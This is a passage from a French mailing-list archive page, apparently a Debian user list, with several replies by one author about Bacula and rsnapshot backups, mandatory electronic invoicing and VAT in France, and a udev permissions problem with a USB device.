ou de zfs.



Re: Un système simple pour sauvegarder les partitions d'un os en train de tourner.

2023-04-06 Thread BERTRAND Joël
Michel Verdier a écrit :
> Le 6 avril 2023 BERTRAND Joël a écrit :
> 
>>  Ce qui doit correspondre peu ou prou aux diff/inc de Bacula. Bacula est
>> totalement transparent lorsqu'il s'agit de restaurer les fichiers (il
>> propose les différentes versions des fichiers et on choisit celle que
>> l'on veut restaurer).
> 
> Oui tout à fait, l'interface gère les incrémentales. La différence c'est
> que rsnapshot intègre ça directement dans le stockage. Ce qui fait
> qu'on n'a pas besoin de faire des différentielles et complètes pour
> limiter l'occupation disque. A la limite avec rsnapshot on peut faire une
> quotidienne gardée sur 365 jours, ça prend à peine plus de place. Et comme on
> a une copie du filesystem dans une arborescence on peut faire des choses
> qu'on fait partout, comme par exemple un diff direct entre 2 versions. Et
> ça sans avoir besoin de les restaurer avant. Ou des grep dans une
> branche, etc.

Certes. Mais je ne suis pas sûr que rsnapshot gère par exemple les
bibliothèques de bandes ou d'autres supports exotiques.



Re: Un systhème simple pour sauvegarder les partitions d'un os en train de tourner.

2023-04-06 Thread BERTRAND Joël
Jean-François Bachelet a écrit :
> j'ai jeté un oeil à baccula et je suis d'accord avec la complexité de
> configuration, arg.
> 
> tu aurais un tuto fiable (et récent) pour ça à nous conseiller ? ou un
> exemple basé sur ta config ?
> 
> parce que sur le net y à boire et à manger la dessus...
> 
> mercitouplein d'avance :)

Bonjour,

Je n'ai pas d'expérience récente de Bacula sous Debian en particulier
ou Linux en général.

Côté configuration, je n'ai que quatre fichiers :
- bacula-dir.conf
- bacula-fd.conf
- bacula-sd.conf
- bconsole.conf ou bat.conf selon que l'on veut une interface d'admin
texte ou graphique.

Les fichiers de conf sont bien documentés sous NetBSD. La difficulté
est de savoir qui parle avec qui pour renseigner les différents
"Password" dans les fichiers. Le reste de la configuration est assez simple.



Re: Un système simple pour sauvegarder les partitions d'un os en train de tourner.

2023-04-06 Thread BERTRAND Joël
Michel Verdier a écrit :
> Le 6 avril 2023 BERTRAND Joël a écrit :
> 
>>  J'ai une sauvegarde complète tous les mois, une différentielle par
>> semaine et une incrémentale tous les jours. La rotation des données
>> d'archivage est automatique.
> 
> Oui une des grosses différences c'est qu'avec rsync (sous rsnapshot ou
> autre) tu peux faire des complètes tous les jours, voire toutes les
> heures, sans impacter plus l'occupation disque. Ça simplifie et accélère
> très nettement les restaurations.

Ce qui doit correspondre peu ou prou aux diff/inc de Bacula. Bacula est
totalement transparent lorsqu'il s'agit de restaurer les fichiers (il
propose les différentes versions des fichiers et on choisit celle que
l'on veut restaurer).



Re: Un systhème simple pour sauvegarder les partitions d'un os en train de tourner.

2023-04-06 Thread BERTRAND Joël
benoit a écrit :
> Bonjour
> 
> Habituellement Clonezilla installé sur un disque externe et boot l'ordi
> sur le disque externe qui lance Clonezilla.
> Mais ces redémarrages, c'est pénible de devoir arrêter, aller dans la
> séquence de boot positionnée sur le lecteur externe... C'est dissuasif
> de faire des sauvegardes.
> 
> Existe-t-il un moyen sûr de sauvegarder les partitions montées d'un
> système en train de tourner ?
> Du coup le logiciel de clonage serait installé sur le système lui même
> et pas sur un disque externe...
> 

Bonjour,

Bacula fait le boulot proprement chez moi depuis des années (sous
NetBSD, mais je viens de vérifier, il est empaqueté debian). Un peu
pénible à configurer, mais c'est le genre d'outil qui se fait oublier
une fois qu'on a vérifié que les données sont bien récupérables.

J'ai une sauvegarde complète tous les mois, une différentielle par
semaine et une incrémentale tous les jours. La rotation des données
d'archivage est automatique.

Il y a trois parties :
- bacula-dir (qui est le processus principal), un seul ;
- bacula-sd (daemon de stockage), un ou plusieurs en fonctions des
périphériques de sauvegarde ;
- bacula-fd (daemon de lecture des disques), un ou plusieurs en fonction
du nombre de postes à sauvegarder,
et une base de données (chez moi PostgreSQL).

Les trois parties peuvent être sur le même serveur.



Re: [HS] Facturation électronique obligatoire. Comment s'y préparer ?

2023-02-23 Thread BERTRAND Joël
mathieu.ro...@r4m.fr a écrit :
> Sinon, sur la remarque : " Le fisc enverra la facture à notre place.  Ça, je 
> n'y crois pas un seul instant", je dirais plutôt pourquoi pas, en attendant 
> d'en savoir plus. Le but du jeu est de récupérer un paquet de fric sur la 
> fraude à la TVA, si ça passe par quelques petits millions de services 
> "offerts", ça me paraît un bon deal pour l'État.

Oui, sauf que la fraude la TVA ne passe pas par des factures. Donc
l'état ne récupérera rien. Quant à l'état qui envoie une facture à ma
place, si c'est le cas, je ferme ma boîte en France et je l'ouvre à
l'étranger. Lorsque j'envoie une facture à un client, il y a une date de
valeur, une date d'exigibilité et l'état n'a pas à intervenir là-dedans
(ou alors il me fait aussi l'avance de trésorerie) pour mettre un visa
sur mes factures avant de les envoyer.

La couillonnade va très vite arriver parce qu'il y a deux régimes de
TVA. Le premier est trivial, on paie la TVA à l'émission de la facture
(comprendre, on avance la trésorerie à l'état), le second est en
recette/dépense. Ce truc va être d'une complexité folle parce que le
fisc ne pourra même pas utiliser les factures pour m'éviter une
déclaration de TVA sur les sommes effectivement perçues.

Bref, c'est une usine à gaz (repoussée à de maintes reprises), tout
comme le prélèvement de l'IR à la source (suffisait d'imposer la
mensualisation) et qui n’ennuiera que les gens honnêtes. Mais il faut
bien faire bosser les gens de Bercy.



Re: [HS] Facturation électronique obligatoire. Comment s'y préparer ?

2023-02-23 Thread BERTRAND Joël
Alain Vaugham a écrit :
> Le Thu, 23 Feb 2023 12:23:05 +0100,
> BERTRAND Joël  a écrit :
> 
>> Alain Vaugham a écrit :
>>> Le fisc enverra la facture
>>> à notre place.  
>>  Ça, je n'y crois pas un seul instant vu comme les services
>> fiscaux fonctionnent. C'est encore du boulot comptable en plus,
>> gratuitement pour l'état, donc des charges en plus et des
>> augmentations de prix pour le consommateur.
>>
> 
> D'après le lien fourni par Didier :
> https://www.impots.gouv.fr/sites/default/files/media/1_metier/3_partenaire/facturation_electronique_partenaires/Partenaire_-_Schema_en_Y.pdf
> 
> J'ai quand même l'impression que c'est tout comme.
> En effet, un fournisseur C n'envoie pas la facture directement à son
> acheteur D. Ce dernier la récupère depuis le Portail Public de
> Facturation.

Sauf que l'émission de la facture ne correspond pas à la date
d'encaissement. Bref, beau bordel franco-français en perspective.



Re: [HS] Facturation électronique obligatoire. Comment s'y préparer ?

2023-02-23 Thread BERTRAND Joël
Alain Vaugham a écrit :
> Le fisc enverra la facture
> à notre place.
Ça, je n'y crois pas un seul instant vu comme les services fiscaux
fonctionnent. C'est encore du boulot comptable en plus, gratuitement
pour l'état, donc des charges en plus et des augmentations de prix pour
le consommateur.



Re: Règle udev

2023-02-20 Thread BERTRAND Joël
didier gaumet a écrit :
>  Tu as bien un compte sur le Luniistore et tu es bien connecté à ce
> compte quand tu essaies de te servir de ton appareil? parce qu'ils ont
> l'air de dire sur le site de l'éditeur que c'est nécessaire. Y a aussi
> une adresse de contact et ils ont l'air de supporter Debian

Oui, je suis connecté sur le compte en question (et ça, ça fonctionne
parfaitement). J'ai aussi chargé la Lunii à fond. Rien n'y fait. Le
support, pour l'instant, est aux abonnés absents.



Re: Règle udev

2023-02-19 Thread BERTRAND Joël
Haricophile a écrit :
> Le Sat, 18 Feb 2023 11:09:17 +0100,
> BERTRAND Joël  a écrit :
> 
>>  Or lorsque je branche l'appareil sur un port usb, si je vois
>> bien un périphérique de type block (sda) arriver, jamais les droits
>> associés ne sont 0666. Je pense avoir à peu près tout essayé sans
>> succès. Une idée ?
>>
>>  Bien cordialement,
> 
> Je n'y connais rien non plus, mais le mode ne serait-il pas réécrit par
> polkit ou une autre règle ou un truc comme ça ?
>

Peut-être. Mais comment vérifier ?



  1   2   3   4   5   6   7   8   9   >